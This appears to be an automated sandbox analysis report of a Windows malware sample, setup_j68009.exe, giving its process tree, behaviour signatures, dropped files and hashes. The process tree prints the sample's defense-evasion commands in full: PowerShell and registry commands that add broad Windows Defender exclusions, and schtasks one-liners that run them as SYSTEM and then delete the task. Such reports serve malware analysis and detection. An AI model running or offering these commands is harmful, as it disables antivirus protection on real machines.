Analysis

  • max time kernel
    146s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/08/2026, 20:32

General

  • Target
    setup_j68009.exe
  • Size 53.8MB
  • Sample260806-zbph2azfpb
  • SHA256 667b4973fd6cd6f7e6b41372d1b5d24c54a9584de6586faf1d621dc7528cf26a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_j68009.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_j68009.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2916
  • C:\Users\Public\CPwrtL\hIskQP.exe
    "C:\Users\Public\CPwrtL\hIskQP.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1956
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4864
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\CPwrtL\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:6040
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\CPwrtL\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5628
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:6044
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4280
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3308
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5124
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3412
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5464
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2392
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1944
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5988
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:3400
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:3788
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1488
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5112
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4172
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:4416
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:704
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4132
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4604
                      • C:\Users\Public\CPwrtL\hIskQP.exe
                        "C:\Users\Public\CPwrtL\hIskQP.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:4468
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\CPwrtL" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:2000
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\CPwrtL" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:2172
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:1964
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:2396
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:4508
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:5556
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:3648
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:1116
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:1576

                                Network

                                      MITRE ATT&CK Enterprise v16

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                                      Downloads

                                      UxEnhance64.dll

                                      • Path C:\Users\Public\CPwrtL\UxEnhance64.dll
                                      • Size 3.1MB
                                      • SHA256 3ceafb47d112e7cb35aad036be7cfffe8d4ee8e9e0960b77d7a4c03eb1f87ff1
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      adoresd.dat

                                      • Path C:\Users\Public\CPwrtL\adoresd.dat
                                      • Size 4.7MB
                                      • SHA256 a06c0d0ef99b88a207b83484f2a1eeb40f6d53865ed02f8bec084ee76d40fc85
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      hIskQP.exe

                                      • Path C:\Users\Public\CPwrtL\hIskQP.exe
                                      • Size 135KB
                                      • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      msadox.tb

                                      • Path C:\Users\Public\CPwrtL\msadox.tb
                                      • Size 8KB
                                      • SHA256 6127ad967b9401163f0e1b0c3de05aa8ec28cabeceae90374c752afc80c056cc
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      memory/1956-556-0x000001CC1F240000-0x000001CC1F28E000-memory.dmp

                                      memory/1956-560-0x000001CC20670000-0x000001CC206FA000-memory.dmp

                                      memory/1956-567-0x000001CC1FD40000-0x000001CC205D1000-memory.dmp

                                      memory/1956-566-0x000001CC1FD40000-0x000001CC205D1000-memory.dmp

                                      memory/1956-530-0x00007FFCF8050000-0x00007FFCF8052000-memory.dmp

                                      memory/1956-557-0x000001CC20670000-0x000001CC206FA000-memory.dmp

                                      memory/1956-564-0x000001CC1FD40000-0x000001CC205D1000-memory.dmp

                                      memory/1956-531-0x00007FFCD51E0000-0x00007FFCD56FE000-memory.dmp

                                      memory/1956-537-0x000001CC1FD40000-0x000001CC205D1000-memory.dmp

                                      memory/1956-539-0x000001CC1FD40000-0x000001CC205D1000-memory.dmp

                                      memory/1956-538-0x00007FFCF8060000-0x00007FFCF8062000-memory.dmp

                                      memory/1956-543-0x000001CC1FD40000-0x000001CC205D1000-memory.dmp

                                      memory/1956-545-0x000001CC1FD40000-0x000001CC205D1000-memory.dmp

                                      memory/1956-546-0x000001CC1FD40000-0x000001CC205D1000-memory.dmp

                                      memory/1956-544-0x000001CC1FD40000-0x000001CC205D1000-memory.dmp

                                      memory/1956-550-0x000001CC1FD40000-0x000001CC205D1000-memory.dmp

                                      memory/1956-561-0x000001CC20670000-0x000001CC206FA000-memory.dmp

                                      memory/1956-558-0x000001CC20670000-0x000001CC206FA000-memory.dmp

                                      memory/2916-525-0x00007FFCEF8A0000-0x00007FFCEF8B2000-memory.dmp

                                      memory/2916-0-0x0000000000570000-0x000000000057D000-memory.dmp

                                      memory/2916-1-0x0000000000570000-0x000000000057D000-memory.dmp

                                      memory/2916-2-0x00000000055B0000-0x00000000055BB000-memory.dmp

                                      memory/2916-504-0x00007FFCEF8A0000-0x00007FFCEF8B2000-memory.dmp

                                      memory/2916-524-0x0000000000570000-0x000000000057D000-memory.dmp

                                      memory/4468-583-0x00000213ABC50000-0x00000213AC4E1000-memory.dmp

                                      memory/4468-578-0x00007FFCF8060000-0x00007FFCF8062000-memory.dmp

                                      memory/4468-572-0x00007FFCD51E0000-0x00007FFCD56FE000-memory.dmp

                                      memory/4468-576-0x00000213ABC50000-0x00000213AC4E1000-memory.dmp

                                      memory/4468-587-0x00007FFCF8050000-0x00007FFCF8052000-memory.dmp

                                      memory/4468-579-0x00000213ABC50000-0x00000213AC4E1000-memory.dmp

                                      memory/4468-586-0x00000213ABC50000-0x00000213AC4E1000-memory.dmp

                                      memory/4468-585-0x00000213ABC50000-0x00000213AC4E1000-memory.dmp

                                      memory/4468-584-0x00000213ABC50000-0x00000213AC4E1000-memory.dmp

                                      memory/4864-590-0x0000025973BA0000-0x0000025973BC2000-memory.dmp

                                      memory/4864-593-0x0000025973E00000-0x0000025973E1E000-memory.dmp

                                      memory/4864-594-0x0000025973E20000-0x0000025973ED2000-memory.dmp

                                      memory/4864-596-0x0000025973BE0000-0x0000025973BEA000-memory.dmp